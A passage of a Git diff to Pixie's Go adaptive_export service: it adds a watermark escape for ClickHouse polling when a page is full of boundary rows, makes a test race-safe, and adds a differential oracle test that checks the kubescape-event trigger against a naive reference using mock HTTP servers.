append(buf, rows...) if len(buf) >= w.batchRows { - flush("size") + flush(ctx, "size") // Reset ticker so we don't get a redundant flush 100ms later ticker.Reset(w.batchEvery) } case <-ticker.C: - flush("timer") + flush(ctx, "timer") } } } diff --git a/src/vizier/services/adaptive_export/internal/trigger/BUILD.bazel b/src/vizier/services/adaptive_export/internal/trigger/BUILD.bazel index 367e6acc1f0..0445d9211f4 100644 --- a/src/vizier/services/adaptive_export/internal/trigger/BUILD.bazel +++ b/src/vizier/services/adaptive_export/internal/trigger/BUILD.bazel @@ -38,6 +38,7 @@ pl_go_test( "clickhouse_internal_test.go", "clickhouse_test.go", "fingerprint_bench_test.go", + "oracle_test.go", "watermark_test.go", ], embed = [":trigger"], diff --git a/src/vizier/services/adaptive_export/internal/trigger/clickhouse.go b/src/vizier/services/adaptive_export/internal/trigger/clickhouse.go index ecf7e52ae13..f040b1db4c0 100644 --- a/src/vizier/services/adaptive_export/internal/trigger/clickhouse.go +++ b/src/vizier/services/adaptive_export/internal/trigger/clickhouse.go @@ -73,8 +73,11 @@ type Config struct { // PollLimit caps rows returned per poll. Bounds catch-up work // after a restart so a 10h backlog doesn't translate into a // single multi-GiB SELECT the HTTP client times out on; instead - // it drains in N polls of PollLimit rows. Default 10000. - // 0 β†’ unlimited (legacy behavior β€” NOT recommended in prod). + // it drains in N polls of PollLimit rows. + // Default: 10000 (also used when caller passes 0). Set explicitly + // if the default doesn't match your backlog/throughput; "unlimited" + // is NOT a supported value β€” every poll always carries a LIMIT. + // (CodeRabbit r-#68/trigger/clickhouse.go.) PollLimit int // HTTPTimeout bounds each individual poll. Default 30s; previously @@ -273,6 +276,7 @@ func (t *ClickHouseHTTP) run(ctx context.Context, out chan<- kubescape.Event) { // with the time-based throttle inside flushWatermark, this // produces at most one persistent INSERT per WatermarkSaveInterval. const saveEveryN = 256 + skippedAtBoundary := 0 for i, row := range rows { fp := rowFingerprint(row) // Cursor comparisons are in NORMALIZED nanos (F8): the raw @@ -280,6 +284,7 @@ func (t *ClickHouseHTTP) run(ctx context.Context, out chan<- kubescape.Event) { // as the SQL filter (chNormEventTimeNanos) and maxSeen. evn := normalizeEventTimeNanos(row.EventTime) if evn == watermark && seenAtBoundary[fp] { + skippedAtBoundary++ continue // already pushed in a prior poll at this exact boundary } ev, err := kubescape.Extract(row) @@ -314,6 +319,23 @@ func (t *ClickHouseHTTP) run(ctx context.Context, out chan<- kubescape.Event) { for fp := range nextSeen { seenAtBoundary[fp] = true } + // Paging escape: if every row returned was a boundary-skip AND + // the response was at PollLimit capacity, there may be additional + // rows at the same normalized event_time that we will never reach + // (the SQL ORDER BY has no secondary key, so LIMIT always returns + // the same PollLimit rows from the boundary). Advance the watermark + // by 1 nanosecond to escape the boundary. In practice this means + // at most one nanosecond's worth of events are not re-delivered on + // the next poll, which is acceptable: the fingerprint dedup already + // tolerates boundary overlap, and we prefer forward progress over + // an infinite loop. + if skippedAtBoundary > 0 && len(nextSeen) == 0 && len(rows) >= t.cfg.PollLimit { + watermark++ + seenAtBoundary = map[string]bool{} + dirty = true + log.WithField("watermark", watermark). + Warn("trigger: boundary paging escape β€” advanced watermark by 1ns to unblock poll") + } } // Final flush at end of pollOnce β€” also throttled. flushWatermark() diff --git a/src/vizier/services/adaptive_export/internal/trigger/clickhouse_internal_test.go b/src/vizier/services/adaptive_export/internal/trigger/clickhouse_internal_test.go index 82454c86bc7..8ca780fc3db 100644 --- a/src/vizier/services/adaptive_export/internal/trigger/clickhouse_internal_test.go +++ b/src/vizier/services/adaptive_export/internal/trigger/clickhouse_internal_test.go @@ -22,6 +22,7 @@ import ( "net/http/httptest" "strconv" "strings" + "sync" "testing" "time" ) @@ -61,9 +62,13 @@ func TestNormalizeEventTimeNanos(t *testing.T) { // stops a larger-unit row from poisoning the watermark (F8). It captures the // query the trigger sends to ClickHouse. func TestFetchSinceFiltersOnNormalizedEventTime(t *testing.T) { + var mu sync.Mutex var gotQuery string srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { - gotQuery = r.URL.Query().Get("query") + q := r.URL.Query().Get("query") + mu.Lock() + gotQuery = q + mu.Unlock() w.WriteHeader(200) // empty body = 0 rows, valid JSONEachRow })) defer srv.Close() @@ -80,16 +85,20 @@ func TestFetchSinceFiltersOnNormalizedEventTime(t *testing.T) { t.Fatalf("fetchSince: %v", err) } - if !strings.Contains(gotQuery, chNormEventTimeNanos) { - t.Errorf("query does not normalize event_time; want %q in:\n%s", chNormEventTimeNanos, gotQuery) + mu.Lock() + q := gotQuery + mu.Unlock() + + if !strings.Contains(q, chNormEventTimeNanos) { + t.Errorf("query does not normalize event_time; want %q in:\n%s", chNormEventTimeNanos, q) } // The >= bound must compare the normalized expression against the nanos // watermark, not the raw column. wantPred := chNormEventTimeNanos + " >= " + strconv.FormatUint(wmNanos, 10) - if !strings.Contains(gotQuery, wantPred) { - t.Errorf("query filter is not normalized-vs-nanos-watermark; want %q in:\n%s", wantPred, gotQuery) + if !strings.Contains(q, wantPred) { + t.Errorf("query filter is not normalized-vs-nanos-watermark; want %q in:\n%s", wantPred, q) } - if strings.Contains(gotQuery, "event_time >= ") { - t.Errorf("query still uses RAW event_time filter (poison-prone):\n%s", gotQuery) + if strings.Contains(q, "event_time >= ") { + t.Errorf("query still uses RAW event_time filter (poison-prone):\n%s", q) } } diff --git a/src/vizier/services/adaptive_export/internal/trigger/oracle_test.go b/src/vizier/services/adaptive_export/internal/trigger/oracle_test.go new file mode 100644 index 00000000000..fe7f8d7a1da --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/trigger/oracle_test.go @@ -0,0 +1,493 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package trigger + +import ( + "context" + "encoding/json" + "fmt" + "net/http" + "net/http/httptest" + "regexp" + "sort" + "strconv" + "sync" + "testing" + "time" + + "px.dev/pixie/src/vizier/services/adaptive_export/internal/kubescape" +) + +// Differential oracle for the trigger's incremental kubescape-events pump. +// +// The trigger is incremental: it polls CH for rows with +// ` >= watermark`, advances the in-memory watermark +// to the maximum of consumed rows' normalised event_time, and dedupes by +// fingerprint at the boundary so a row that crosses two polls (same +// event_time as the watermark) isn't emitted twice. +// +// Three independent moving parts: watermark advancement, boundary +// fingerprint dedup, and PollLimit-saturated draining (PR #67 fix). A +// classical mocks-and-assert test exercises each in isolation. This +// oracle pins them TOGETHER against the simplest possible reference: +// "consume everything in event_time order, dedupe by fingerprint, +// advance the cursor to max(event_time)." If the iterative trigger and +// the reference disagree on the set of emitted rows for ANY poll +// sequence, one of the three moving parts is wrong. +// +// The reference is intentionally PxL-free and stateless across the +// `allRows` corpus β€” the entire spec is six lines of Go in +// naiveTriggerReference below. Anything more complex would be testing +// the test, not the trigger. + +// rowsForPoll is the per-poll subset of the corpus the mock returns, +// reflecting ClickHouse's behaviour: filter rows where +// normalizeEventTimeNanos(event_time) >= watermark, order by the same, +// then truncate to LIMIT (PollLimit). Deterministic given (corpus, wm). +func rowsForPoll(corpus []kubescape.Row, watermark uint64, limit int) []kubescape.Row { + filtered := make([]kubescape.Row, 0, len(corpus)) + for _, r := range corpus { + if normalizeEventTimeNanos(r.EventTime) >= watermark { + filtered = append(filtered, r) + } + } + sort.SliceStable(filtered, func(i, j int) bool { + return normalizeEventTimeNanos(filtered[i].EventTime) < + normalizeEventTimeNanos(filtered[j].EventTime) + }) + if limit > 0 && len(filtered) > limit { + filtered = filtered[:limit] + } + return filtered +} + +// naiveTriggerReference is the spec: drain `corpus` in event_time order, +// dedupe by fingerprint, emit every row above `start` exactly once. +// Returns the emitted rows AND the final watermark β€” both are what the +// iterative trigger MUST converge to no matter how the polls slice up +// the corpus. +func naiveTriggerReference(corpus []kubescape.Row, start uint64) ([]kubescape.Row, uint64) { + sorted := make([]kubescape.Row, len(corpus)) + copy(sorted, corpus) + sort.SliceStable(sorted, func(i, j int) bool { + return normalizeEventTimeNanos(sorted[i].EventTime) < + normalizeEventTimeNanos(sorted[j].EventTime) + }) + cursor := start + seen := map[string]bool{} + var out []kubescape.Row + for _, r := range sorted { + etn := normalizeEventTimeNanos(r.EventTime) + if etn < cursor { + continue + } + fp := rowFingerprint(r) + if seen[fp] { + continue + } + seen[fp] = true + out = append(out, r) + if etn > cursor { + cursor = etn + } + } + return out, cursor +} + +// mockKubescapeLogs serves the iterative trigger from a fixed corpus. +// The query SQL embeds the watermark + LIMIT; the handler extracts +// them via the same chNormEventTimeNanos shape the trigger emits and +// responds with the filtered/ordered/limited slice as JSONEachRow. +func mockKubescapeLogs(t *testing.T, corpus []kubescape.Row) *httptest.Server { + t.Helper() + // `... ) >= ORDER BY ... LIMIT ` + re := regexp.MustCompile(`\) >= (\d+) ORDER BY .* LIMIT (\d+)`) + return httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + q := r.URL.Query().Get("query") + m := re.FindStringSubmatch(q) + if m == nil { + http.Error(w, "unexpected SQL: "+q, http.StatusBadRequest) + return + } + watermark, _ := strconv.ParseUint(m[1], 10, 64) + limit, _ := strconv.Atoi(m[2]) + rows := rowsForPoll(corpus, watermark, limit) + for _, row := range rows { + b, _ := json.Marshal(map[string]any{ + "RuleID": row.RuleID, + "RuntimeK8sDetails": row.K8sDetails, + "RuntimeProcessDetails": row.ProcessDetails, + // the trigger parses event_time as a JSON number OR a + // quoted string; CH returns the latter for UInt64. Match + // CH's wire shape so we stay faithful to production. + "event_time": strconv.FormatUint(row.EventTime, 10), + "hostname": row.Hostname, + }) + _, _ = w.Write(b) + _, _ = w.Write([]byte("\n")) + } + })) +} + +// runTriggerAgainstCorpus drives the iterative trigger over `corpus` +// for up to `maxPolls * pollInterval` and returns the emitted events. +// Terminates as soon as the trigger emits len(naive) events OR maxPolls +// elapses (the second case is a real failure: the trigger missed rows +// the naive reference saw). +func runTriggerAgainstCorpus( + t *testing.T, + corpus []kubescape.Row, + pollLimit int, + expectedCount int, +) []kubescape.Event { + t.Helper() + srv := mockKubescapeLogs(t, corpus) + defer srv.Close() + + tr, err := New(Config{ + Endpoint: srv.URL, + Hostname: "node-1", + PollInterval: 5 * time.Millisecond, // tight: many polls per second + PollLimit: pollLimit, + }) + if err != nil { + t.Fatalf("New: %v", err) + } + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + ch, err := tr.Subscribe(ctx) + if err != nil { + t.Fatalf("Subscribe: %v", err) + } + + var emitted []kubescape.Event + timeout := time.NewTimer(3 * time.Second) + defer timeout.Stop() + for len(emitted) < expectedCount { + select { + case ev, ok := <-ch: + if !ok { + return emitted + } + emitted = append(emitted, ev) + case <-timeout.C: + t.Fatalf("trigger emitted %d events, want %d (missed rows under PollLimit=%d)", + len(emitted), expectedCount, pollLimit) + } + } + return emitted +} + +// makeRow constructs a minimally-valid kubescape Row. event_time must +// already be in nanos for normalizeEventTimeNanos to be a no-op on it +// (>= 1e13 β‡’ already nanos), making the corpus's natural ordering match +// the SQL's ORDER BY chNormEventTimeNanos. +func makeRow(eventTimeNanos uint64, ruleID, pod string) kubescape.Row { + k8sJSON, _ := json.Marshal(map[string]string{ + "podName": pod, + "podNamespace": "ns-" + pod, + }) + procJSON, _ := json.Marshal(map[string]any{ + "processTree": map[string]any{ + "pid": 100 + eventTimeNanos%900, + "comm": "proc-" + ruleID, + }, + }) + return kubescape.Row{ + EventTime: eventTimeNanos, + RuleID: ruleID, + Hostname: "node-1", + K8sDetails: string(k8sJSON), + ProcessDetails: string(procJSON), + } +} + +// fingerprintSet collects rowFingerprint over a row slice. Set +// equality is what the oracle checks: trigger's emitted-event order +// is per-poll, but the UNION of polls must match the corpus minus +// dups, regardless of how the polls sliced it up. +func fingerprintSet(rows []kubescape.Row) map[string]bool { + out := make(map[string]bool, len(rows)) + for _, r := range rows { + out[rowFingerprint(r)] = true + } + return out +} + +// eventFingerprintSet derives the same set via reconstructing each +// emitted Event's source Row. The (EventTime, RuleID) tuple is the +// natural key β€” multiple boundary rows share EventTime but their +// RuleIDs are unique in our test corpora (and unique-by-rule in the +// production kubescape feed, where two events at the same nanosecond +// have at minimum distinct rule IDs). +func eventFingerprintSet(rows []kubescape.Row, events []kubescape.Event) map[string]bool { + type key struct { + et uint64 + rule string + } + idx := map[key]kubescape.Row{} + for _, r := range rows { + idx[key{r.EventTime, r.RuleID}] = r + } + out := make(map[string]bool, len(events)) + for _, e := range events { + if r, ok := idx[key{e.EventTime, e.RuleID}]; ok { + out[rowFingerprint(r)] = true + } + } + return out +} + +// TestOracle_TriggerEmitsNaiveSet_StaggeredCorpus drives 50 rows +// scattered across event_times with NO duplicates; PollLimit=10 forces +// β‰₯5 polls, exercising watermark advancement repeatedly. The trigger +// must emit exactly the 50 rows the naive reference computes. +func TestOracle_TriggerEmitsNaiveSet_StaggeredCorpus(t *testing.T) { + const base = uint64(1_700_000_000_000_000_000) + var corpus []kubescape.Row + for i := uint64(0); i < 50; i++ { + // Unique event_times, 1 ms apart. + corpus = append(corpus, makeRow(base+i*1_000_000, fmt.Sprintf("R%03d", i), fmt.Sprintf("pod-%d", i))) + } + naive, _ := naiveTriggerReference(corpus, 0) + got := runTriggerAgainstCorpus(t, corpus, 10, len(naive)) + + want := fingerprintSet(naive) + have := eventFingerprintSet(corpus, got) + if len(want) != len(have) { + t.Fatalf("set sizes differ: want=%d have=%d", len(want), len(have)) + } + for fp := range want { + if !have[fp] { + t.Fatalf("trigger missed fingerprint %s (naive emitted, trigger didn't)", fp) + } + } +} + +// TestOracle_PollLimitSaturation_AtCapacity is the regression guard for +// PR #67 (dfdc465a9): when EXACTLY PollLimit rows share the boundary +// event_time, every one of them must emit, and the cursor must clear +// the boundary for the next-event_time row that follows. Equivalent to +// the naive reference on this corpus shape. +// +// (The complementary OVERFLOW case β€” >PollLimit boundary rows β€” is the +// documented data-loss trade-off in PR #67's commit message: the +// trigger advances the watermark by 1ns to escape the infinite-stuck +// boundary, and the surplus rows beyond PollLimit at that nanosecond +// are intentionally not re-delivered. TestOracle_PollLimitOverflow +// below pins THAT behaviour so any future fix that recovers the lost +// rows must update both tests together.) +func TestOracle_PollLimitSaturation_AtCapacity(t *testing.T) { + const base = uint64(1_700_000_000_000_000_000) + const pollLimit = 5 + var corpus []kubescape.Row + for i := uint64(0); i < pollLimit; i++ { // EXACTLY PollLimit at the boundary + corpus = append(corpus, makeRow(base, fmt.Sprintf("R%03d", i), fmt.Sprintf("pod-%d", i))) + } + corpus = append(corpus, makeRow(base+1_000_000, "Rfollow", "pod-follow")) + + naive, _ := naiveTriggerReference(corpus, 0) + if len(naive) != pollLimit+1 { + t.Fatalf("naive should emit %d; got %d", pollLimit+1, len(naive)) + } + got := runTriggerAgainstCorpus(t, corpus, pollLimit, len(naive)) + + want := fingerprintSet(naive) + have := eventFingerprintSet(corpus, got) + for fp := range want { + if !have[fp] { + t.Fatalf("PollLimit-at-capacity lost fingerprint %s (PR #67 regression)", fp) + } + } +} + +// TestOracle_PollLimitOverflow_DocumentsLossBound asserts the +// documented trade-off in PR #67 (dfdc465a9): when >PollLimit rows +// share the boundary event_time, the trigger emits the FIRST PollLimit +// of them, then the 1ns escape advances the cursor past the rest. The +// surplus rows are lost β€” by design β€” to avoid an infinite stuck +// boundary. +// +// Why this is an explicit test, not a TODO comment: if a future PR +// "fixes" the overflow loss (e.g. by adding a secondary ORDER BY key), +// this test will fail loudly, which is the right signal β€” both the +// fix AND this assertion need to update together. Without this guard, +// the loss can regress silently in either direction. +func TestOracle_PollLimitOverflow_DocumentsLossBound(t *testing.T) { + const base = uint64(1_700_000_000_000_000_000) + const pollLimit = 5 + const overflow = 25 + var corpus []kubescape.Row + for i := uint64(0); i < overflow; i++ { // 5Γ— PollLimit at one event_time + corpus = append(corpus, makeRow(base, fmt.Sprintf("R%03d", i), fmt.Sprintf("pod-%d", i))) + } + corpus = append(corpus, makeRow(base+1_000_000, "Rfollow", "pod-follow")) + + srv := mockKubescapeLogs(t, corpus) + defer srv.Close() + tr, err := New(Config{ + Endpoint: srv.URL, Hostname: "node-1", + PollInterval: 5 * time.Millisecond, PollLimit: pollLimit, + }) + if err != nil { + t.Fatalf("New: %v", err) + } + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + ch, _ := tr.Subscribe(ctx) + + // Wait for the trigger to settle: pollLimit emissions at the + // boundary, then the escape, then Rfollow. Total = pollLimit+1. + // Anything more would mean the surplus came through (an upgrade), + // anything less would mean the escape ate Rfollow too (a regression). + collected := []kubescape.Event{} + deadline := time.After(2 * time.Second) +COLLECT: + for len(collected) < pollLimit+1 { + select { + case ev := <-ch: + collected = append(collected, ev) + case <-deadline: + // Labelled break β€” bare `break` only exits the `select`, + // leaving the `for` to busy-spin on the already-closed + // deadline channel. (CodeRabbit r-#68/oracle_test.go.) + break COLLECT + } + } + // Extra-drain pass to catch any late surplus emissions. + timeout := time.NewTimer(200 * time.Millisecond) + defer timeout.Stop() +DRAIN: + for { + select { + case ev := <-ch: + collected = append(collected, ev) + case <-timeout.C: + break DRAIN + } + } + + if len(collected) != pollLimit+1 { + t.Fatalf("emitted %d events; want exactly %d (PollLimit at boundary + Rfollow). "+ + "More β‡’ overflow recovery landed (good β€” update this test). "+ + "Less β‡’ Rfollow lost (regression in the 1ns escape).", + len(collected), pollLimit+1) + } + // Of the pollLimit boundary emissions, all should be DISTINCT. + seen := map[uint64]map[string]bool{} // event_time β†’ ruleID seen + for _, e := range collected { + if seen[e.EventTime] == nil { + seen[e.EventTime] = map[string]bool{} + } + if seen[e.EventTime][e.RuleID] { + t.Fatalf("duplicate emission RuleID=%s at event_time=%d", e.RuleID, e.EventTime) + } + seen[e.EventTime][e.RuleID] = true + } +} + +// TestOracle_BoundaryDedup_NoDuplicates probes the cross-poll dedup +// machinery: identical rows are returned in two consecutive polls +// (mock holds state, sees the second poll's watermark equals the first +// poll's max event_time, and re-returns the boundary row). The trigger's +// seenAtBoundary map must filter the duplicate. +func TestOracle_BoundaryDedup_NoDuplicates(t *testing.T) { + const base = uint64(1_700_000_000_000_000_000) + corpus := []kubescape.Row{ + makeRow(base, "R001", "pod-a"), + makeRow(base, "R002", "pod-b"), // same event_time + makeRow(base+1_000_000, "R003", "pod-c"), + } + // mock with rate-limited delivery: returns first 2 on first poll, + // then on the second poll (watermark = base) returns ALL 3 again, + // then exhausts. The trigger should emit each row exactly once. + srv := stutteringMock(t, corpus, base) + defer srv.Close() + + tr, err := New(Config{ + Endpoint: srv.URL, + Hostname: "node-1", + PollInterval: 5 * time.Millisecond, + PollLimit: 10, + }) + if err != nil { + t.Fatalf("New: %v", err) + } + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + ch, _ := tr.Subscribe(ctx) + + emitted := map[string]int{} + deadline := time.After(2 * time.Second) + for len(emitted) < 3 { + select { + case ev := <-ch: + // Reconstruct the row by event_time + RuleID to count + // per-fingerprint occurrences. + emitted[ev.RuleID]++ + case <-deadline: + t.Fatalf("emitted=%v, want 3 unique events", emitted) + } + } + for rule, n := range emitted { + if n != 1 { + t.Fatalf("rule %s emitted %d times, want 1 (boundary-dedup regression)", rule, n) + } + } +} + +// stutteringMock returns the first 2 rows on the first poll and ALL 3 +// on every subsequent poll β€” simulating CH returning a duplicate at +// the watermark boundary (e.g., because a new row landed with the same +// event_time after our previous poll's cursor advanced past it). +func stutteringMock(t *testing.T, corpus []kubescape.Row, _ uint64) *httptest.Server { + t.Helper() + var mu sync.Mutex + callCount := 0 + re := regexp.MustCompile(`\) >= (\d+) ORDER BY .* LIMIT (\d+)`) + return httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + mu.Lock() + callCount++ + thisCall := callCount + mu.Unlock() + q := r.URL.Query().Get("query") + m := re.FindStringSubmatch(q) + if m == nil { + http.Error(w, "unexpected SQL", http.StatusBadRequest) + return + } + watermark, _ := strconv.ParseUint(m[1], 10, 64) + var send []kubescape.Row + if thisCall == 1 { + // Only the first 2 (same event_time as the boundary row). + send = corpus[:2] + } else { + send = rowsForPoll(corpus, watermark, 10) + } + for _, row := range send { + b, _ := json.Marshal(map[string]any{ + "RuleID": row.RuleID, + "RuntimeK8sDetails": row.K8sDetails, + "RuntimeProcessDetails": row.ProcessDetails, + "event_time": strconv.FormatUint(row.EventTime, 10), + "hostname": row.Hostname, + }) + _, _ = w.Write(b) + _, _ = w.Write([]byte("\n")) + } + })) +}